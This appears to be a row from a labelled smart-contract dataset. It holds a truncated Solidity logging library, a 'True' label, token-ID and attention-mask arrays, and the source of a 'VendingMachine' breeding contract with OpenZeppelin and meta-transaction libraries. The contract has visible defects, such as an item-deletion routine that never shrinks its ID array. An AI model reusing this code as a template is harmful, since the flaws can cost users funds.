p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 3229, 1013, 2219, 3085, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 1008, 1008, 2011, 12398, 1010, 1996, 3954, 4070, 2097, 2022, 1996, 2028, 2008, 21296, 2015, 1996, 3206, 1012, 2023, 1008, 2064, 2101, 2022, 2904, 2007, 1063, 4651, 12384, 2545, 5605, 1065, 1012, 1008, 1008, 2023, 11336, 2003, 2109, 2083, 12839, 1012, 2009, 2097, 2191, 2800, 1996, 16913, 18095, 1008, 1036, 2069, 12384, 2121, 1036, 1010, 2029, 2064, 2022, 4162, 2000, 2115, 4972, 2000, 21573, 2037, 2224, 2000, 1008, 1996, 3954, 1012, 1008, 1013, 10061, 3206, 2219, 3085, 2003, 6123, 1063, 4769, 2797, 1035, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3988, 10057, 1996, 3206, 4292, 1996, 21296, 2121, 2004, 1996, 3988, 3954, 1012, 1008, 1013, 9570, 2953, 1006, 1007, 1063, 1035, 4651, 12384, 2545, 5605, 1006, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 4769, 1997, 1996, 2783, 3954, 1012, 1008, 1013, 3853, 3954, 1006, 1007, 2270, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 1035, 3954, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 11618, 2065, 2170, 2011, 2151, 4070, 2060, 2084, 1996, 3954, 1012, 1008, 1013, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 3954, 1006, 1007, 1027, 1027, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1010, 1000, 2219, 3085, 1024, 20587, 2003, 2025, 1996, 3954, 1000, 1007, 1025, 1035, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 3727, 1996, 3206, 2302, 3954, 1012, 2009, 2097, 2025, 2022, 2825, 2000, 2655, 1008, 1036, 2069, 12384, 2121, 1036, 4972, 4902, 1012, 2064, 2069, 2022, 2170, 2011, 1996, 2783, 3954, 1012, 1008, 1008, 3602, 1024, 17738, 4609, 6129, 6095, 2097, 2681, 1996, 3206, 2302, 2019, 3954, 1010, 1008, 8558, 9268, 2151, 15380, 2008, 2003, 2069, 2800, 2000, 1996, 3954, 1012, 1008, 1013, 3853, 17738, 17457, 12384, 2545, 5605, 1006, 1007, 2270, 7484, 2069, 12384, 2121, 1063, 1035, 4651, 12384, 2545, 5605, 1006, 4769, 1006, 1014, 1007, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 15210, 6095, 1997, 1996, 3206, 2000, 1037, 2047, 4070, 1006, 1036, 2047, 12384, 2121, 1036, 1007, 1012, 1008, 2064, 2069, 2022, 2170, 2011, 1996, 2783, 3954, 1012, 1008, 1013, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2270, 7484, 2069, 12384, 2121, 1063, 5478, 1006, 2047, 12384, 2121, 999, 1027, 4769, 1006, 1014, 1007, 1010, 1000, 2219, 3085, 1024, 2047, 3954, 2003, 1996, 5717, 4769, 1000, 1007, 1025, 1035, 4651, 12384, 2545, 5605, 1006, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; import "@openzeppelin/contracts/access/AccessControl.sol"; import "./libraries/EIP712MetaTransaction.sol"; import "./libraries/ERC20.sol"; contract VendingMachine is AccessControl, EIP712MetaTransaction("VendingMachine", "1") { event SeedPurchase( address indexed from, uint256 indexed itemId, uint256 indexed value, uint32 itemType, bytes varData ); event EtherPurchase( address indexed from, uint256 indexed itemId, uint256 indexed value, uint32 itemType, bytes varData ); event BreedSeed( address indexed breeder, address indexed breedee, uint256 indexed price, bytes varData ); event BreedEth( address indexed breeder, address indexed breedee, uint256 indexed price, bytes varData ); struct InventoryEntry { uint256 index; uint256 seedPrice; uint256 ethPrice; uint32 quantity; uint32 itemType; } // Constants uint32 public constant UINT32_MAX = ~uint32(0); // Privileges bytes32 public constant PRIV_MANAGE = keccak256("PRIV_MANAGE"); bytes32 public constant PRIV_WITHDRAW = keccak256("PRIV_WITHDRAW"); mapping(uint256 => InventoryEntry) public inventoryEntries; uint256[] public itemIds; uint256 public nugbaseFeeEth = 0.0024 ether; uint256 public breedeeFeeEth = 0.0006 ether; uint256 public burnedSeed = 1200; uint256 public breedeeFeeSeed = 500; uint256 public daoSeed = 300; address public daoAddress = 0xFc8e07fDF358b8692976Eb649850A90b75079749; ERC20 internal seedContract = ERC20(0x80D55041E3954405664694899fF9F202c13C0e1c); constructor() { // Grant other privileges to the contract creator _setupRole(DEFAULT_ADMIN_ROLE, msgSender()); _setupRole(PRIV_MANAGE, msgSender()); _setupRole(PRIV_WITHDRAW, msgSender()); } function seedPurchase( uint256 _itemId, uint256 _value, bytes calldata _varData ) external { InventoryEntry storage inventoryEntry = inventoryEntries[_itemId]; require(_inventoryEntryExists(inventoryEntry)); require(inventoryEntry.seedPrice != 0); require(_value == inventoryEntry.seedPrice); require(seedContract.transferFrom(msgSender(), address(this), _value)); uint32 _itemType = inventoryEntry.itemType; // value saved before entry is deleted _deductInventoryItem(inventoryEntry, _itemId); emit SeedPurchase(msgSender(), _itemId, _value, _itemType, _varData); } function etherPurchase(uint256 _itemId, bytes calldata _varData) external payable { InventoryEntry storage inventoryEntry = inventoryEntries[_itemId]; require(_inventoryEntryExists(inventoryEntry)); require(inventoryEntry.ethPrice != 0); require(msg.value == inventoryEntry.ethPrice); uint32 _itemType = inventoryEntry.itemType; // value saved before entry is deleted _deductInventoryItem(inventoryEntry, _itemId); emit EtherPurchase( msgSender(), _itemId, msg.value, _itemType, _varData ); } function upsertInventoryItem( uint256 _itemId, uint256 seedPrice, uint256 ethPrice, uint32 quantity, uint32 itemType ) external onlyRole(PRIV_MANAGE) { require(quantity > 0); InventoryEntry storage inventoryEntry = inventoryEntries[_itemId]; if (!_inventoryEntryExists(inventoryEntry)) { // New item inventoryEntry.index = itemIds.length; itemIds.push(_itemId); } inventoryEntry.seedPrice = seedPrice; inventoryEntry.ethPrice = ethPrice; inventoryEntry.quantity = quantity; inventoryEntry.itemType = itemType; } function deleteInventoryItem(uint256 _itemId) external onlyRole(PRIV_MANAGE) { _deleteInventoryItem(_itemId); } function withdrawSeed(uint256 _amount) external onlyRole(PRIV_WITHDRAW) { seedContract.transfer(msgSender(), _amount); } function withdrawEther(uint256 _amount) external onlyRole(PRIV_WITHDRAW) { payable(msgSender()).transfer(_amount); } function totalItems() public view returns (uint256) { return itemIds.length; } function _deductInventoryItem( InventoryEntry storage inventoryEntry, uint256 _itemId ) internal { if (inventoryEntry.quantity == UINT32_MAX) { return; } else if (inventoryEntry.quantity > 1) { inventoryEntry.quantity--; } else { _deleteInventoryItem(_itemId); } } function _deleteInventoryItem(uint256 _itemId) internal { InventoryEntry storage inventoryEntry = inventoryEntries[_itemId]; if (!_inventoryEntryExists(inventoryEntry)) { return; } uint256 lastItemIndex = itemIds.length - 1; // Safe because at least one item must exist (asserted above) uint256 lastItemId = itemIds[lastItemIndex]; itemIds[inventoryEntry.index] = itemIds[lastItemIndex]; inventoryEntries[lastItemId].index = inventoryEntry.index; delete inventoryEntries[_itemId]; } function _inventoryEntryExists(InventoryEntry storage inventoryEntry) internal view returns (bool) { return inventoryEntry.quantity != 0; } function breedEth(address payable _breedee, bytes calldata _varData) external payable { require(msg.value == nugbaseFeeEth + breedeeFeeEth, "Not enough ETH"); _breedee.transfer(breedeeFeeEth); emit BreedEth( msg.sender, _breedee, nugbaseFeeEth + breedeeFeeEth, _varData ); } function breedSeed(address _breedee, bytes calldata _varData) external { // ensure user has enough SEED to breed and has permitted the // VendingMachine to spend their SEED require( seedContract.balanceOf(msgSender()) >= (burnedSeed + breedeeFeeSeed + daoSeed), "Not enough SEED" ); require( seedContract.allowance(msgSender(), address(this)) >= (burnedSeed + breedeeFeeSeed + daoSeed), "Allowance not set" ); // Split the SEED 3 ways to burn, breedee, and FlowerpatchDAO seedContract.burn(msgSender(), burnedSeed); if (msgSender() != _breedee) { require( seedContract.transferFrom(msgSender(), _breedee, breedeeFeeSeed) ); } else { require( seedContract.transferFrom( msgSender(), address(this), breedeeFeeSeed ) ); } require(seedContract.transferFrom(msgSender(), daoAddress, daoSeed)); emit BreedSeed( msgSender(), _breedee, burnedSeed + breedeeFeeSeed + daoSeed, _varData ); } function setBreedeeFeeEth(uint256 _fee) external onlyRole(PRIV_MANAGE) { breedeeFeeEth = _fee; } function setNugbaseFeeEth(uint256 _fee) external onlyRole(PRIV_MANAGE) { nugbaseFeeEth = _fee; } function setBreedeeFeeSeed(uint256 _fee) external onlyRole(PRIV_MANAGE) { breedeeFeeSeed = _fee; } function setBurnedSeed(uint256 _fee) external onlyRole(PRIV_MANAGE) { burnedSeed = _fee; } function setDaoSeed(uint256 _fee) external onlyRole(PRIV_MANAGE) { daoSeed = _fee; } function setDaoAddress(address _dao) external onlyRole(PRIV_MANAGE) { daoAddress = _dao; } function setSeedToken(address _seed) external onlyRole(PRIV_MANAGE) { seedContract = ERC20(_seed); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. / abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /* * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ / modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev Returns `true` if `account` has been granted `role`. / function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /* * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ / function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /* * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. / function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /* * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. / function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /* * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. / function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /* * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. / function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /* * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. / function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /* * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. / function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /* * @dev Grants `role` to `account`. * * Internal function without access restriction. / function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /* * @dev Revokes `role` from `account`. * * Internal function without access restriction. / function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.3; import "./EIP712Base.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; contract EIP712MetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) private nonces; / * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. / struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } constructor(string memory name, string memory version) EIP712Base(name, version) {} function convertBytesToBytes4(bytes memory inBytes) internal pure returns (bytes4 outBytes4) { if (inBytes.length == 0) { return 0x0; } assembly { outBytes4 := mload(add(inBytes, 32)) } } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns (bytes memory) { bytes4 destinationFunctionSig = convertBytesToBytes4(functionSignature); require( destinationFunctionSig != msg.sig, "functionSignature can not be of executeMetaTransaction method" ); MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); nonces[userAddress] = nonces[userAddress].add(1); // Append userAddress at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); emit MetaTransactionExecuted( userAddress, payable(msg.sender), functionSignature ); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) external view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address user, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { address signer = ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); require(signer != address(0), "Invalid signature"); return signer == user; } function msgSender() internal view returns (address sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = msg.sender; } return sender; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; interface ERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function burn(address user, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /* * @dev External interface of AccessControl declared to support ERC165 detection. / interface IAccessControl { /* * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ / event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /* * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. / event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /* * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) / event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /* * @dev Returns `true` if `account` has been granted `role`. / function hasRole(bytes32 role, address account) external view returns (bool); /* * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. / function getRoleAdmin(bytes32 role) external view returns (bytes32); /* * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. / function grantRole(bytes32 role, address account) external; /* * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. / function revokeRole(bytes32 role, address account) external; /* * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. / function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } //SPDX-License-Identifier: MIT pragma solidity ^0.8.3; contract EIP712Base { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeparator; constructor(string memory name, string memory version) { domainSeparator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(version)), address(this), bytes32(getChainID()) ) ); } function getChainID() internal view returns (uint256 id) { assembly { id := chainid() } } function getDomainSeparator() private view returns (bytes32) { return domainSeparator; } /* * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 / function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeparator(), messageHash) ); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /* * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 